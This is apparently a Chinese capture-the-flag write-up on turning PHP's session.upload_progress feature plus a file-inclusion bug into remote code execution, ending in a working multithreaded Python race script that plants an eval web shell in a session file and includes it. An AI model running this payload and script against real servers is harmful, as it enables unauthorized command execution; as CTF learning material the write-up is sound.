刷题时遇到的一道题目,一直没有思路,看完 wp 之后学会的新姿势。
知识铺垫
php 5.4 之后新增了一个功能:session.upload_progress
。
在 php.ini
有以下几个默认选项
session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.upload_progress.freq = "1%"
session.upload_progress.min_freq = "1"
其中:
enabled=on
表示upload_progress
功能启用,当上传文件时,php 将会把此次文件上传的详细信息 (如上传时间、上传进度等) 存储在 session 当中;cleanup=on
表示当文件上传结束后,php 将会立即清空对应 session 文件中的内容;name
出现在表单中时,php 会报告上传进度,最重要的是:name 的值可控;prefix
为 key 前缀,它和name
拼接后作为 session 中的键名。
存储机制
当开启 session 时,服务器都会在一个临时目录下创建一个 session 文件来保存会话信息,文件名格式为 sess_PHPSESSID 。
Linux 中,session 文件一般保存在以下目录:
/var/lib/php/
/var/lib/php/sessions/
/tmp/
/tmp/sessions/
利用方式
根据上述 session 的配置和机制,可以想到:通过 session. Upload_progress 将恶意代码写入 session 文件,再通过 inclue 实现 rce。
难点一
在 php 中,只有调用了 session_start () 才能开启 session,那么在没有使用 session_start () 时,如何开启 session?
默认情况下,php 配置中的 session. Use_strict_mode 是未启用的,也就意味着 cookie 中的 PHPSESSID
是可以自定义的。例如:
当设置 PHPSESSID=yvling
时,服务器会生成一个 sess_yvling
的 session 文件并保存在临时目录下,此时 php 自动初始化 session,产生一个键值对,键名为配置文件中设置的 prefix
+ name
。
难点二
默认情况下,session. Upload_progress. Cleanup 是启用的,也就意味着在上传结束后,session 文件中有关文件上传的信息会被马上删除,那么怎么才能将恶意代码包含至文件中呢?
这里使用条件竞争的方式,使用脚本不断发送上传数据包,再用相同方式发送文件包含的数据包,就能包含到了。
Exp
import io
import sys
import requests
import threading
sessid = "yvling"
data = { "cmd":"system('ls /');" }
url = "http://node5.anna.nssctf.cn:28960/index.php"
params = "QAQ"
cahce = "/tmp"
filename = "yvling.txt"
def write(session):
while True:
f = io.BytesIO(b"a" * 1024 * 50)
resp = session.post(
url=url,
data={
"PHP_SESSION_UPLOAD_PROGRESS": "<?php eval($_POST['cmd']);?>"
},
files={
"file": (filename, f)
},
cookies={
"PHPSESSID": sessid
}
)
def read(session):
while True:
resp = session.post(url=f"{url}?{params}={cahce}/sess_{sessid}", data=data)
if filename in resp.text:
print(resp.text)
event.clear()
sys.exit(0)
else:
# print("retry...")
pass
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()